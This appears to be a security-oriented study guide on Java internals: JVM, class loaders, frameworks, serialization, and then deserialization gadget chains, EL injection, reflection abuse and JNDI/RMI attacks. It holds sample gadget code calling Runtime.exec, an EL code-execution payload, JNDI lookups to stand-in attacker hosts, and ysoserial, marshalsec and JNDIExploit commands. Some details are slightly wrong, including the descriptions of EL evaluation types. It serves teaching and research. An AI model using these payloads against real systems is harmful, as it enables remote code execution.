Java Internals: A Legacy Reforged
“I can only show you the door. You’re the one that has to walk through it.” - Morpheus, The Matrix.
Fundamentals
Java Virtual Machine (JVM)
Adaptive compiler
Standard Interpreter at Launch
- Initially, the application runs using a basic interpreter.
- This allows quick startup times since no compilation is performed upfront.
Hot Spot Detection
- The VM monitors runtime behavior to identify frequently executed portions of the code, known as hot spots.
- These hot spots are analyzed for potential optimizations.
Selective Compilation
- Only performance-critical code is compiled into machine code, while seldom-used code remains interpreted.
- This balances optimization effort with runtime performance.
Optimization Techniques
- Inlining: Frequently invoked methods are embedded directly into the caller, reducing method call overhead.
- Loop Unrolling: Iterative loops are expanded to reduce the number of iterations and branch instructions.
- Speculative Optimizations: Assumptions about code behavior (e.g., object types) are made to optimize performance. These optimizations can be reverted if assumptions prove incorrect (deoptimization).
Rapid Memory Allocation
The HotSpot VM allocates memory for objects efficiently using Thread-Local Allocation Buffers (TLABs):
- Each thread is provided a small chunk of memory to minimize contention with other threads.
- Allocation from TLABs is extremely fast (essentially a pointer increment).
Java Bytecode
- Java bytecode allows “write once, run anywhere” by abstracting machine-specific details to the underlying hardware.
- The bytecode format is designed to be compact, making it suitable for network transmission.
- Optimized for quick interpretation or Just-In-Time (JIT) compilation.
- Bytecode runs inside the JVM sandbox, offering better security and preventing direct access to underlying hardware or OS.
- Java provides the
javap
tool to inspect compiled.class
files and view their bytecode:javap -c Test.class
. - List of Java bytecode instructions.
- Advanced Bytecode Inspection Tools
- ASM Framework: Analyze or modify bytecode programmatically.
- Byte Buddy: Simplifies creating or modifying bytecode at runtime.
- Javassist: High-level API for editing bytecode dynamically.
- Bug
Serial GC
- Designed for single-threaded environments.
- Performs stop-the-world garbage collection.
Parallel GC (Throughput Collector)
- Utilizes multiple threads for both minor and major garbage collections.
- Suitable for applications requiring high throughput.
Concurrent Mark-Sweep (CMS) Collector
- Focuses on reducing application pause times by performing most of its work concurrently with the application threads.
G1 GC (Garbage-First)
- Divides the heap into regions and prioritizes garbage collection in regions with the most garbage.
- Ideal for applications with large heaps and low-latency requirements.
ZGC (Z Garbage Collector) and Shenandoah
- Advanced low-latency garbage collectors.
- Perform concurrent compaction, reducing pause times to a few milliseconds even for large heaps.
Efficient Locking Mechanisms
- Biased Locking: Locks are biased toward a single thread to avoid overhead when contention is low.
- Lightweight Locking: CAS-based (Compare-And-Swap) locks are used for uncontended locks to reduce synchronization costs.
- Heavyweight Locks: Used when threads compete heavily for a resource.
Scalable Thread Management
- The HotSpot VM is designed to handle a large number of threads efficiently, scaling well on shared-memory multiprocessor servers.
Thread Coordination
- Threads cooperate during garbage collection and JIT compilation, ensuring minimal disruption to application execution.
Class Loaders
- JVM uses class loaders as there is no runtime linker.
- The JVM doesn’t need to know about the underlying files or file systems in order to run Java programs thanks to class loaders.
- Java classes aren’t loaded into memory all at once, but rather when they’re required by an application.
Bootstrap ClassLoader
- The root of the ClassLoader hierarchy.
- It is part of the JVM implementation and written in native code (not Java).
- Does not extend the
java.lang.ClassLoader
class, but acts as the superclass for other ClassLoaders. - Loads the core Java classes required for basic functioning, such as classes from the
java.lang
,java.util
,java.io
,java.net
, andjava.sql
packages. - Classpath for the Bootstrap ClassLoader is typically hardcoded and points to locations like:
<JAVA_HOME>/lib
,rt.jar
,charsets.jar
, or similar core libraries. - Cannot be directly accessed or modified by developers.
Extension/Platform ClassLoader
- Child ClassLoader of the Bootstrap ClassLoader.
- Used for loading Java extensions (optional packages).
- Loads classes from the
$JAVA_HOME/jre/lib/ext
directory or any directories specified in thejava.ext.dirs
system property. - Handles classes such as cryptographic providers, additional API libraries, or any external libraries placed in the
ext
directory. - If a class is not found in the
ext
directory, the Extension ClassLoader delegates the request to the Bootstrap ClassLoader.
System/Application ClassLoader
- The child of the Extension ClassLoader.
- Responsible for loading application-specific classes and resources.
- Loads classes specified by the
classpath
environment variable or passed via the-cp
or-classpath
JVM argument. - Typically includes directories, JAR files, or compiled
.class
files from the project workspace. - Points to the current working directory (
.
). - Developers can customize it using tools like Maven or Gradle for dependency management.
- It is an instance of
java.lang.ClassLoader
. - Most user-defined classes and third-party libraries are loaded using the System ClassLoader.
Custom ClassLoaders
- Create custom ClassLoaders by extending the
java.lang.ClassLoader
class for advanced use cases like:- Loading classes from custom locations (e.g., network, encrypted files).
- Implementing dynamic module systems or plugin architectures.
- Essential methods from the
java.lang.ClassLoader
class:loadClass()
: Responsible for loading the class given a name parameter.defineClass()
: Responsible for the conversion of an array of bytes into an instance of a class.findClass()
: Finds the class with the fully qualified name as a parameter.getParent()
: Returns the parent class loader for delegation.getResource()
: Tries to find a resource with the given name.
Readmore about ClassLoader
- Class Loaders in Java
- How does the Java ClassLoader System really work? (with pictures)
- ClassLoader in Java
Readmore JVM
Application Input
Dependence on Frameworks
- Uses
ActionForm
to model user data and process input. - Struts v1:
struts-config.xml
(action mappings to*.do
) - Struts v2:
struts.xml
(action mappings to*.action
) - Look for classes extending
Action
. - Action mappings and form beans configured in XML files.
- Dynamic method invocation for flexible routing.
- Interceptor stacks for pre/post-processing.
- Readmore:
- Bugs:
- Apache Struts double evaluation RCE lottery
- A brief analysis of the history of OGNL attack and defense
- CVE-2018-11776: How to find 5 RCEs in Apache Struts with CodeQL
- OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)
- Exploiting OGNL Injection in Apache Struts
- Bypassing OGNL sandboxes for fun and charities
- Remote code execution in Apache Roller via OGNL injection
- CVE-2017-5638: The Apache Struts vulnerability explained
- Exploiting Struts RCE on 2.5.26
- 2nd RCE and XSS in Apache Struts 2.5.0 - 2.5.29
- Apache Struts2 file upload analysis (S2-066) and S2-066 Analysis
- It follows the Model-View-Controller (MVC) architectural pattern, separating application logic, user interface, and data.
- Modular architecture for enterprise Java applications.
- Part of the larger Spring Framework, allowing integration with other Spring modules like Spring Security and Spring Data.
DispatcherServlet
: The central controller that routes requests to appropriate handlers.- Simplifies development using annotations like
@Controller
,@RequestMapping
, and@RestController
. - Maps URLs to controller methods.
- Interceptors allow pre-processing and post-processing of requests.
- Readmore:
- Bugs:
- Spring {Boot,Data,Security} Historical Vulnerability Research
- Spring Framework Historical Vulnerability Research
- How to manually detect and exploit Spring4Shell (CVE-2022-22965)
- Spring Framework Remote Code Execution Vulnerability (CVE-2022-22965) Solution Manual
- Pitfalls in URL parsing and authentication - Spring
- Spring Boot framework SPEL vulnerability technical analysis and protection solution
- CVE-2018-1273: RCE with Spring Data Commons Analysis Report
- SpringBoot SpEL Expression Injection Vulnerability-Analysis and Reproduction
- Exploiting Spring Boot Actuators
- Spring4Shell
- Remote Code Execution with Spring Properties
- CVE-2022-22963: Spring Cloud Function Framework for Java vuln RCE
- Hibernate reduces redundancy via JDBC API.
- Hibernate improves productivity and maintainability.
- Hibernate supports Persistence APIs.
- Hibernate’s ORM allows communication between the application and any database.
- Readmore: Hibernate Tutorial and Hibernate
Low-level Input Classes
Low-level input classes provide direct access to HTTP request data.
ServletRequest
- The base interface for all requests in the Servlet API.
- Provides generic functionality applicable to all types of requests (HTTP or non-HTTP).
- Key Methods
HttpServletRequest
- Specialized subclass of
ServletRequest
for HTTP-specific functionality. - Provides fine-grained control over HTTP request data, including headers, query parameters, and cookies.
- Extends functionality to support HTTP-specific operations.
- Key Methods
- Specialized subclass of
Web Container
- A Java-based server environment responsible for running web applications and managing their lifecycle.
- Manages the lifecycle of servlets from initialization to destruction.
- Automatically handles resource allocation, threading, and cleanup.
- Typically part of a larger Java EE application server (e.g., GlassFish, WildFly).
- Can function independently as a lightweight standalone web server.
- Supports Web Application Resource (WAR) files.
- Servlets
- Key methods include
init
anddestroy
for lifecycle management,service
for handling client requests, andgetServletConfig
for configuration details. - Post Servlet 3.0, annotations like
@WebServlet
simplify Servlet configuration, replacing the need to manually modifyweb.xml
configuration files. - Filters, such as
HelloFilter
, provide global request filtering and authentication, while listeners monitor context, session, and request events for tasks like user statistics and session management.
- Key methods include
- JSP files
- JSP is a combination of technologies for creating dynamic web pages, standardized by JSR 245. It includes basic syntax elements like scriptlets, declarations, expressions, comments, directives, and actions for embedding Java code in HTML.
- JSP files are compiled into Servlets by the container. The generated Servlet class inherits from
HttpJspBase
, and essential objects likerequest
,response
,session
,application
,config
,page
,out
, andpageContext
are defined for convenient JSP code writing. - JSP supports reusable tags for dynamic content generation.
taglib
introduces custom tags, and JSTL (JavaServer Pages Standard Tag Library) provides core, format, SQL, XML, and function tag libraries for common tasks like conditional processing, collection traversal, and data formatting. - Despite the trend towards front-end and back-end separation, JSP remains valuable for rapid website prototyping and is still prevalent in many historical projects, making it essential for developers to understand its usage.
- Static resources (HTML, CSS, JS)
- Configuration files like
web.xml
- Servlets
- Implements Java Specification Requests (JSR):
- Java Servlets: Core technology for handling HTTP requests and responses.
- JavaServer Pages (JSP): Allows embedding Java code within HTML for dynamic content.
- JavaServer Faces (JSF): A framework for building component-based UIs for web applications.
- Components: Facelets, Filters, Web.xml
- Implementations: Mojarra, MyFaces
- Examples: Apache Tomcat and Jetty
Application Server
- Encapsulates a web container and supports Enterprise Application Archives (EAR). An EAR file can include:
- WAR files for web components.
- JAR files for business logic and backend services.
- Adds capabilities for handling business logic, transaction management, and data persistence.
- Provides a full J2EE specification with APIs like:
- Enterprise Java Beans (EJB)
- Declarative transaction management.
- Remote method invocation.
- Stateful and stateless session beans.
- Java Persistence API (JPA)
- Standardized ORM (Object-Relational Mapping) for managing relational data in Java.
- Simplifies database interactions using annotations like
@Entity
,@Table
, and@Column
.
- Java Transaction API (JTA)
- Provides a standard interface for managing distributed transactions.
- Supports two-phase commit and integration with multiple data sources.
- Java Message Service (JMS)
- Enables asynchronous communication using message queues or topics.
- Useful for decoupled systems and event-driven architectures.
- JavaMail API
- Simplifies sending and receiving email.
- Enterprise Java Beans (EJB)
- Dependency Injection via
@Inject
annotation.- Automatically provides the required implementation of a dependency.
- Part of CDI (Contexts and Dependency Injection) in Java EE.
- Example: Apache GlassFish, WildFly, IBM WebSphere and Oracle WebLogic
Readmore
Serialization
Key Features
- Serialization in Java is the process of converting an object into a byte stream, enabling the object to be easily saved to a file, transmitted over a network, or otherwise persisted.
Magic Methods
readObject()
: Used during deserialization to read and reconstruct the object. Custom implementations can validate or modify the deserialized data.private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // Additional validation or initialization }
readResolve()
: Called after readObject(). Allows returning a replacement object, potentially preventing multiple deserialized instances.private Object readResolve() throws ObjectStreamException { return Singleton.INSTANCE; }
validateObject()
: Called after readResolve(), but only if the serialized class is implementing the ObjectInputValidation interface.public void validateObject() throws InvalidObjectException { if (someField == null) { throw new InvalidObjectException("Invalid object state"); } }
readObjectNoData()
: Called when the serialized object’s superclass differs from the class being deserialized.Object.finalize()
: Rarely relevant during serialization/deserialization, but it might be triggered if garbage collection interacts with the object lifecycle.
Interfaces for Serialization
java.io.Serializable
: Marks a class as serializable. It does not contain any methods.FileOutputStream
andObjectOutputStream
FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(myObject); oos.close();
Contents of Serialized Data
Stores no code, but includes:
- Variable types, names, and values.
- Class names.
Multi-object Streams
- Serialized streams can contain multiple objects sequentially, with no global headers.
- Each deserialized object must be read in the same order.
oos.writeObject(obj1); oos.writeObject(obj2);
Security Notes
- Exposes private fields unless marked as
transient
. - Insecure implementations of
readObject()
orvalidateObject()
can allow invalid or malicious states. - Restrict classes that can be deserialized using JEP 290
- Use JSON or XML libraries for serialization (e.g., Jackson, Gson).
Readmore
- Java Serialization Specification
- Serialization and Deserialization in Java with Example
- Java - Serialization
- Introduction to Java Serialization
- Java Object Serialization
- Serialization and Deserialization in Java
- Serialization and deserialization in Java: explaining the Java deserialize vulnerability
Deserialization
- To achieve broader goals such as authentication bypass or privilege escalation.
Exploitation Pathways
Finding a Way In
- Any Java object deserialization influenced by user-controlled input is probably vulnerable.
- Look for
ObjectInputStream.readObject()
,Externalizable.readExternal()
, or custom methods. - Search for serialized Java objects (e.g.,
0xaced0005
orrO0
in Base64, GZIP:H4sIA
, Content-type:application/x-java-serialized-object
).
Finding Gadgets
- Deserialization exploits rely on gadget chains, which are sequences of Java classes linked together to perform malicious actions.
- Golden Gadgets
- Exploits based entirely on JDK-provided classes.
- Example: Gadgets leveraging standard classes like
HashMap
,HashSet
, or reflection-based utilities.
- Third-Party Gadgets
- Vulnerable libraries bundled with the application, e.g., Apache Commons Collections, Spring, or JSON libraries.
- Key Requirements
- At least one class implementing a deserialization entry point (e.g.,
readObject
). - A class performing the desired action, such as
Runtime.getRuntime().exec()
or file creation. - A chain of classes linking the deserialization entry point to the malicious action.
- All classes in the chain must implement
Serializable
, or deserialization will fail.
- At least one class implementing a deserialization entry point (e.g.,
- Readmore:
- Finding gadgets like it’s 2015: part 1
- Finding gadgets like it’s 2015: part 2
- Finding gadgets like it’s 2022
- The Art of Deserialization Gadget Hunting
- The Art of Deserialization Gadget Hunting part 2
- The Art of Deserialization Gadget Hunting part 3
- Deserialization: What the Heck Actually Is a Gadget Chain?
Gadget Types
(1) Trampolines Gadgets
- Gadgets like
HashSet
can invoke arbitrary methods (hashCode()
on set elements).- When deserializing,
HashSet.readObject()
reads the serialized elements. - It invokes
hashCode()
on each deserialized element to maintain hash integrity viaHashMap.put()
. - By inserting a malicious object with an overridden
hashCode()
method, attackers can execute arbitrary code.
- When deserializing,
class Exploit {
@Override
public int hashCode() {
Runtime.getRuntime().exec("touch /tmp/hacked");
return 0;
}
}
HashSet<Object> maliciousSet = new HashSet<>();
maliciousSet.add(new Exploit());
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
oos.writeObject(maliciousSet);
Common Trampolines
- HashSet: Invokes
hashCode()
on all its elements during deserialization. - PriorityQueue: Invokes
compareTo()
during deserialization when elements are sorted. - TreeSet: Uses a comparator to sort elements, invoking
compare()
. - Hashtable: Invokes
equals()
andhashCode()
on its keys. - ObjectInputStream: Automatically deserializes nested objects in the stream.
- AnnotationInvocationHandler: Can invoke arbitrary methods when deserialized.
Finding Trampolines Manually
- Search for Deserializable Classes: Use
grep
or similar tools to look forimplements Serializable
in the source code or decompiled classes.grep -r "implements Serializable" src/
- Look for overrides of
readObject()
,readResolve()
, or similar methods in these classes. - Identify methods automatically called by common Java APIs (
hashCode()
,compareTo()
, etc.). Map out the chain of calls to see if they lead to exploitable sinkholes. - Static initializers (
static { ... }
) can execute arbitrary logic during class loading. - Finding Java gadget chains with CodeQL: QLinspector
(2) Sinkholes
- A class that performs the final malicious action (e.g., command execution, file manipulation, or sensitive data exposure) during or after deserialization.
- Not necessarily part of the deserialized object; it can be a target of invoked methods in the chain.
- Often the endpoint of trampolines, receiving control to perform the attacker’s desired action.
- Executes the “interesting function” during deserialization or indirectly through a chain of method calls.
Examples of Interesting Functions for Sinkholes
File Operations:
- Sinkholes can exploit file APIs to manipulate files, such as creating, deleting, or modifying them. Example:
java.io.FileOutputStream
andjava.nio.file.Files
.new FileOutputStream("/tmp/pwn.txt").write("Pwned!".getBytes());
Reflection:
- Use
java.lang.reflect.Method
orjava.lang.reflect.Constructor
to invoke private or otherwise restricted APIs.Method method = MyClass.class.getDeclaredMethod("restrictedFunction"); method.setAccessible(true); method.invoke(targetObject);
Runtime Execution:
- Execute commands using
java.lang.Runtime.exec()
orjava.lang.ProcessBuilder
.Runtime.getRuntime().exec("touch /tmp/pwn");
Class Loading:
- Dynamically load classes from bytecode. Use
ClassLoader.defineClass()
to load bytecode.byte[] bytecode = {/* malicious bytecode */}; Class<?> clazz = ClassLoader.getSystemClassLoader().defineClass(null, bytecode, 0, bytecode.length); clazz.newInstance();
JNDI Operations:
- Leverage JNDI lookups for remote execution (e.g., LDAP or RMI exploits). Use
javax.naming.InitialContext
to execute a malicious LDAP or RMI call.InitialContext context = new InitialContext(); context.lookup("ldap://burp-collaborator/payload");
Scripting Engines:
- Use libraries like Rhino, Groovy, or BeanShell for stealthy remote code execution. Example classes:
javax.script.ScriptEngineManager
andorg.codehaus.groovy.runtime.MethodClosure
.ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); engine.eval("java.lang.Runtime.getRuntime().exec('touch /tmp/pwn');");
Chaining Gadgets
Start with a Trampoline:
- Identify a deserializable class that automatically invokes methods (e.g., hashCode(), compareTo()).
- Example: HashSet or PriorityQueue.
HashSet.readObject()
→ InvokeshashCode()
orcompareTo()
on malicious objects.
Bridge with Helper Gadgets:
- Add intermediate classes to link the entry point to the malicious sinkhole (use
Reflection
). - Example: Use classes that perform unintended logic (e.g., overriding methods or triggering class instantiation).
- Reflection via
ObjectStreamClass
. - Extracts class metadata during deserialization.
- Uses reflection to allocate memory and reconstruct fields.
- Reflection via
End with a Sinkhole:
- Use a class that performs the desired malicious action, such as invoking system commands or modifying files.
- Example: Invokes
Runtime.getRuntime().exec()
for command execution.
Example Chain
HashSet.readObject()
→ Calls hashCode()
→ Executes Runtime.exec()
.
Explanation:
HashSet.readObject()
is invoked during deserialization.readObject()
callsHashMap.put()
to add elements to the set.HashMap.put()
invokeshashCode()
on the inserted objects.- Malicious payload overrides
hashCode()
to callRuntime.exec()
.
class Exploit {
@Override
public int hashCode() {
Runtime.getRuntime().exec("calc.exe");
return 0;
}
}
HashSet<Object> maliciousSet = new HashSet<>();
maliciousSet.add(new Exploit());
Using JNDI as a Sinkhole
- Use a deserialization entry point like
ObjectInputStream.readObject()
. - The gadget chain eventually calls
javax.naming.InitialContext.lookup()
. - A malicious LDAP server responds, triggering remote code execution.
public class Exploit { private void readObject(ObjectInputStream in) throws Exception { new InitialContext().lookup("ldap://burp-collaborator/payload"); } }
Popular Exploitation Libraries
- A tool that generates payloads for exploiting Java deserialization vulnerabilities.
- Supports multiple gadgets like: Apache Commons Collections, Groovy and Spring Beans.
- Usage:
java -jar ysoserial.jar CommonsCollections5 "calc" > payload.ser
- Readmore:
- A tool for generating deserialization payloads targeting RMI, JNDI, and various serialization formats.
- Exploits vulnerabilities in JNDI lookups, RMI endpoints, and more. Helps craft payloads for server-side deserialization attacks.
- Usage:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://burp-collaborator/payload"
- A framework for testing JNDI-related vulnerabilities.
- Provides an LDAP server to serve malicious objects.
- Useful for chaining deserialization attacks with JNDI lookups.
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i attacker-ip -p 1389
Key Deserialization Pitfalls
- Transient and static fields are not serialized.
- Constructors and non-magic methods are not called.
- Only magic methods trigger deserialization logic.
readObject()
readResolve()
readExternal()
validateObject()
- Exploitable deserialization relies on classpath-linked libraries for gadget chains. Example: Common gadgets come from libraries like Apache Commons, Spring, or JDK itself.
Readmore
- What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
- Java deserialization vulnerabilities - The forgotten bug class
- Java Deserialization Gadget Chains
Expression Language (EL)
- Used in JSP/JSF to link presentation layers (UI) with application logic.
EL Injection
- Occurs when untrusted input is evaluated by an EL parser.
- Types of expressions:
- Value:
#{}
as immediate evaluation - Method:
${}
as deferred evaluation
- Value:
- Composite expressions are allowed but mixing of # and $ is prohibited
Capabilities
- Access properties:
${sessionScope.cart.numberOfItems} ${param['productId']} ${header["host"]}
- Perform operations:
${18 mod 3} ${'crit' gt 'crot'} ${(5*5) ne 25}
Categories of Accessible Variables via EL
Lambda parameters
Lambdas in Java provide a concise way to represent one method interface using an expression. They’re particularly useful for iterating through collections, filtering data, and executing functions in a more readable way. Important details:
- They enable functional programming in Java.
- Reduce boilerplate code, making the codebase cleaner and easier to maintain.
- Can access final variables or effectively final variables from the surrounding scope.
- Often used in conjunction with the Stream API for powerful data manipulation.
List<String> names = Arrays.asList("Alice", "Bob", "Charlie"); names.stream().filter(name -> name.startsWith("A")).forEach(System.out::println);
Readmore:
- Java Lambda Expressions
- Java – Lambda Expressions Parameters
- Lambda Expressions
- Java Lambda Expressions
- Lambda Expressions and Functional Interfaces: Tips and Best Practices
Literals
These are constant values that you assign to variables, representing specific data types like boolean, numeric, character, or string. Important details:
- Integral literals (byte, short, int, long) can be written in decimal, hexadecimal, or octal form.
- Floating-point literals are used to represent decimal values and can be written in either standard or scientific notation.
- Character literals are enclosed in single quotes.
- String literals are enclosed in double quotes.
- Boolean literals represent only two values:
true
andfalse
.
<h:outputText value="#{42}" />
<h:outputText value="#{'hello'}" />
Readmore:
Managed beans
These are JavaBeans that are managed by a container, typically used in JavaServer Faces (JSF) applications. They are created with no-argument constructors and are equipped with properties and methods that perform actions for UI components. Important details:
- Managed beans can be created by the framework automatically or manually by the developer.
- They facilitate the separation of business logic from the presentation layer.
- Managed beans can have different scopes like request, session, application, and view.
Readmore:
Implicit objects
In JSP (JavaServer Pages), implicit objects are built-in objects that can be accessed directly without explicit declaration. They provide a way to interact with various aspects of the web application. Important details:
- Common implicit objects include
request
,response
,session
,application
,out
,config
,pageContext
,page
, andexception
.request
: Represents theHttpServletRequest
object.response
: Represents theHttpServletResponse
object.session
: Represents theHttpSession
object.application
: Represents theServletContext
object.
- These objects allow developers to access parameters, attributes, and other web application data conveniently.
- They simplify the coding process by providing direct access to essential web components.
<h:outputText value="#{request.parameter['username']}" />
Readmore:
Variables Defined in XHTML
These are variables you define directly within your XHTML files, enabling data binding and interaction with JSF components. Important details:
- Typically used for binding JSF components to managed bean properties.
- Enable dynamic interaction between the UI and backend logic.
- Essential for maintaining a clean separation between the view and the model/controller in JSF applications.
- Passing parameters using
<ui:param>
or<c:set>
and accessing them in EL expressions.
<ui:param name="username" value="JohnDoe" />
<h:outputText value="#{username}" />
Security Considerations
- Ensure any user-supplied data accessed via EL is properly sanitized to prevent injection attacks.
- Restrict access to sensitive managed beans or methods via EL to avoid exposing critical functionality.
- Limit the scope of managed beans to
@RequestScoped
or@ViewScoped
unless broader access is essential.
Readmore
Reflection
- Reflection in Java is a feature of the
java.lang.reflect
package, allowing dynamic inspection and modification of classes, methods, fields, and constructors during runtime. - Obtain a
Class
object usingObject.getClass()
orClass.forName("classname")
. - Dynamically call methods using
Method.invoke()
.Method method = obj.getClass().getMethod("methodName", paramTypes); method.invoke(obj, params);
- Instantiate objects using
Constructor.newInstance()
.Constructor<?> constructor = clazz.getConstructor(paramTypes); Object instance = constructor.newInstance(params);
- Access or modify fields, including private fields, using
Field.get()
orField.set()
.Field field = clazz.getDeclaredField("fieldName"); field.setAccessible(true); // Bypass access checks. field.set(obj, newValue);
- Modify access control using
setAccessible(true)
to bypass visibility restrictions.
Use Cases
Framework Development
- Used in libraries like Spring and Hibernate for dependency injection, ORM, and proxies.
Dynamic Class Loading
- Load classes and invoke methods at runtime without static references.
Testing Tools
- Access private methods or fields in unit testing frameworks.
Serialization
- Reflection is often used to inspect and handle fields during custom serialization.
Expression Language Parsers
- Enable the dynamic evaluation of expressions, often used in Java web frameworks like JSP or JSF.
- Exploiting weakly implemented or exposed EL parsers can allow an attacker to manipulate reflection-based calls to invoke arbitrary methods or access sensitive fields.
Exploitation Techniques
- Weak Parsing Logic: Invoke the
Runtime.exec()
method for arbitrary command execution.${''.getClass().forName('java.lang.Runtime').getMethod('exec', 'java.lang.String').invoke(null, 'calc')}
- Access to Reflection APIs
Exploit Vectors
- Dynamic Invocation of methods, fields, and constructors.
- Reflection often underpins dynamic proxies or invocation handlers for frameworks like EJBs.
- Attackers may exploit improperly secured invocation handlers to execute unintended methods or access sensitive data.
Method method = someObject.getClass().getMethod("sensitiveMethod"); method.invoke(someObject);
- Modify access modifiers using
setAccessible(true)
.- This feature can be exploited to access or modify private fields or methods:
Field privateField = SomeClass.class.getDeclaredField("secret"); privateField.setAccessible(true); Object value = privateField.get(someObject);
- This feature can be exploited to access or modify private fields or methods:
Attack scenarios of java.lang.reflect
Method Invocations
- Reflection allows methods to be invoked dynamically, bypassing compile-time checks.
- Exploit
Method.invoke()
to call methods on objects dynamically. - Call sensitive methods or execute unintended functionality.
Method method = obj.getClass().getMethod("deleteAccount", null); method.setAccessible(true); method.invoke(obj, null); // Deletes user account without authorization.
Constructor Invocations
- Reflection enables instantiation of objects without using
new
, potentially bypassing normal initialization logic or restrictions. - Use
Constructor.newInstance()
to instantiate objects, potentially bypassing normal initialization checks. - Create unauthorized instances of restricted classes.
Constructor<?> constructor = RestrictedClass.class.getDeclaredConstructor(null); constructor.setAccessible(true); RestrictedClass obj = (RestrictedClass) constructor.newInstance(); // Unauthorized instantiation.
Field/Method/Constructor Access
- Access and modify private fields, methods, or constructors regardless of their access modifiers.
- Extract sensitive information from private fields.
- Modify internal states or execute restricted methods.
Field field = obj.getClass().getDeclaredField("password"); field.setAccessible(true); String password = (String) field.get(obj); // Exposes sensitive data.
Example: Accessing Fields
- The
System.out
field (commonly used for standard output) is accessible via reflection. - If attackers can reflectively access fields, they may manipulate or extract sensitive data.
Field outField = System.class.getDeclaredField("out");
Example: Accessing Methods
- Access the
join
method in theString
class: - Reflective access to methods may bypass standard invocation flows.
Method join = java.lang.String.class.getDeclaredMethod("join", CharSequence.class, CharSequence[].class);
Example: Accessing Constructors
- Attackers can instantiate classes with unintended configurations, potentially altering application state.
Constructor c1 = HashMap.class.getConstructor(new Class[] {}); Constructor c2 = HashMap.class.getConstructor();
Example: Using Constructors
- Reflection can instantiate classes even without directly invoking a constructor in normal code.
Object instance = c1.newInstance();
Access Modifier Manipulation
- Modify private, protected, or package-private members access levels using
setAccessible()
. - Gain unauthorized access to internal states or functionality.
Method sensitiveMethod = SecureClass.class.getDeclaredMethod("restrictedOperation"); sensitiveMethod.setAccessible(true); sensitiveMethod.invoke(obj); // Executes restricted operation.
Mitigation
- Avoid using reflection unless absolutely necessary. Prefer standard API calls over reflective access for normal operations.
- Sanitize all inputs passed to reflection APIs. Prevent user-controlled inputs from influencing class names, method names, or parameters.
- Use
java.security.AccessController
or a SecurityManager (Deprecated) to limit reflection access. - Adopt secure development practices.
- Employ tools like JVM sandboxing or custom classloaders to limit reflection at runtime.
- Log and monitor reflective calls for unusual or unauthorized behavior.
Readmore
Java Naming and Directory Interface (JNDI)
- An abstract API used to access and manage naming and directory services. It allows Java applications to look up objects, services, or resources such as databases, EJBs, or remote servers in a standardized way.
Key Features
Service Lookup
- Enables Java applications to locate objects or resources dynamically using naming services.
- Example: Locating a database connection factory or a message queue.
Directory Access
- Supports retrieving and managing hierarchical directory data, such as user details in an LDAP directory.
Binding and Unbinding
- Objects can be bound to a name, making them accessible for lookups.
- These bindings can be modified or removed as required.
Resource Management
- Commonly used to configure and retrieve server-side resources like JDBC DataSources, mail sessions, and EJBs.
Structure
- JNDI provides a unified interface to work with diverse naming and directory services via Service Provider Interfaces (SPI).
- The Context Interface is the primary entry point:
- InitialContext: Default context for resource lookups.
- Methods include:
lookup(String name)
bind(String name, Object obj)
rebind(String name, Object obj)
unbind(String name)
Service Providers Interfaces (SPI)
Lightweight Directory Access Protocol (LDAP)
- Used for accessing hierarchical directory services.
- Commonly used in enterprise environments for authentication, authorization, and resource management.
Common Object Request Broker Architecture (CORBA)
- Enables interaction with remote objects defined using CORBA IDL.
- Allows naming and discovery in distributed systems.
Remote Method Invocation (RMI) Registry
- Supports the binding and lookup of remote objects for Java RMI.
Important Notes
- JNDI names are often hierarchical, resembling a file system.
- Contexts may differ across environments (e.g.,
java:comp/env
is typical for Java EE applications). - Security must be considered, as improper JNDI usage can lead to vulnerabilities like JNDI Injection.
Java Remote Method Protocol (JRMP)
- The wire protocol used by Java’s Remote Method Invocation (RMI) for remote communication between JVMs. It is responsible for transmitting method calls, parameters, and results between RMI client and server objects.
- RMI Endpoints:
- IP Address: Identifies the host.
- Port: Specifies the communication port (default RMI registry port is 1099).
ObjID
: A unique identifier for the remote object.
- JRMP manages remote method calls using three main components:
ObjID
: Used to identify a remote object exported to an RMI runtime.- Operation Number (
opnum
): Specifies the operation (or method) to be invoked. Can be a fixed value for predefined methods or a hash of the method signature. - Parameters: Input data required by the invoked method. Must match the method signature defined in the remote interface.
- Transmits method parameters and return values using Java object serialization.
- JRMP is implemented via the
StreamRemoteCall
class, which handles the streaming of data between RMI endpoints. - Open RMI registry endpoints can expose sensitive functionality.
- Wrap JRMP traffic in SSL/TLS for secure communication.
- Limit JRMP communication to trusted hosts using firewalls or network policies.
- Readmore:
Remote Method Invocation (RMI)
- The object-oriented equivalent of remote procedure calls (RPC) via the MBeanServer. Enables remote method invocation via:
new InitialContext().lookup("rmi://hacker.com:1099/Object");
- RMI can integrate with Java Management Extensions (JMX) through the MBeanServer, enabling remote management and monitoring of Java applications.
- Security patches in JDK 8u121. Remote class loading via JNDI object factories stored in naming and directory services is disabled by default.
- To enable remote class loading by the RMI Registry or COS Naming service provider, set the following system property to the string “true”, as appropriate:
com.sun.jndi.rmi.object.trustURLCodebase
: Determines whether the RMI Registry can load classes remotely from URLs.com.sun.jndi.cosnaming.object.trustURLCodebase
: Determines whether CORBA’s COS Naming service provider can load classes remotely from URLs.
- Protect RMI connections using SSL to prevent eavesdropping and man-in-the-middle attacks.
- Ensure remote codebases (if used) are signed with trusted certificates to validate their authenticity.
- Restrict RMI access using Java Security Manager or custom authorization mechanisms.
- Readmore:
- Java RMI Security Notes
- JAVA Protocol Security Notes-RMI
- Java Security - RMI
- Java RMI attacks from the shallow to the deep
- RMI Study Note And Some Study Case
- The Java Remote Method Invocation API (Java RMI)
- Java RMI Specification
- RMI Wire Protocol
- RMIScout: Safely and Quickly Brute-Force Java RMI Interfaces for Code Execution
- Lessons Learned on Brute-forcing RMI-IIOP With RMIScout
Basic Flow of a Remote Call
Client-Side:
- The client creates a
StreamRemoteCall
object. - Method call data (
ObjID
,opnum
, parameters) is serialized and sent to the server. ObjID
identifiesHelloService
.opnum
corresponds tosayHello(String)
